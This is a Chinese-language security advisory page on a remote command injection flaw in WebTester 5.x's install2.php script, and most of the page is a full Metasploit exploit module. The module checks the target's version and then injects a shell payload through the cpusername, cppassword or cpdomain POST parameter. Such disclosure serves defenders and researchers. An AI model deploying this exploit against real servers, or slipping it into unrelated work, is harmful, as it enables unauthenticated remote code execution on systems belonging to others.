首页 -> 安全研究
安全研究
安全漏洞
WebTester 'install2.php'多个远程命令执行漏洞
发布日期:2013-10-17
更新日期:2013-10-17
受影响系统:
WebTester WebTester 5.0.20060927描述:
BUGTRAQ ID: 63268
WebTester是在线测试解决方案。
WebTester 5.1版本的 install2.php 脚本没有正确过滤 'cpusername', 'cppassword', 'cpdomain'参数内的输入,这可使未经身份验证的远程攻击者执行任意命令。
<*来源:bcoles
链接:http://osvdb.org/show/osvdb/98750
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "WebTester 5.x Command Execution",
'Description' => %q{
This module exploits a command execution vulnerability in WebTester
version 5.x. The 'install2.php' file allows unauthenticated users to
execute arbitrary commands in the 'cpusername', 'cppassword' and
'cpdomain' parameters.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/']
],
'Payload' =>
{
'Space' => 8190, # Just a big value, injection on POST variable
'DisableNops' => true,
'BadChars' => "\x00"
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
# Tested on WebTester v5.1.20101016
[ 'WebTester version 5.x', { 'auto' => true } ]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 17 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/'])
], self.class)
end
#
# Checks if target is running WebTester version 5.x
#
def check
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.body =~ /Eppler Software/
if res.body =~ / - v5\.1\.20101016/
print_status("#{peer} - Found version: 5.1.20101016")
return Exploit::CheckCode::Vulnerable
elsif res.body =~ / - v(5\.[\d\.]+)/
print_status("#{peer} - Found version: #{$1}")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
end
end
def exploit
vuln_params = [
'cpusername',
'cppassword',
'cpdomain'
]
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'install2.php'),
'vars_post' => {
'createdb' => 'yes',
'cpanel' => 'yes',
"#{vuln_params.sample}" => "';#{payload.encoded} #"
}
})
if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out")
elsif res.code == 200 and res.body =~ /Failed to connect to database server/
print_good("#{peer} - Payload sent successfully")
else
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end
end
end
建议:
厂商补丁:
WebTester
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://webtesteronline.sourceforge.net/
浏览次数:2831
严重程度:0(网友投票)
绿盟科技给您安全的保障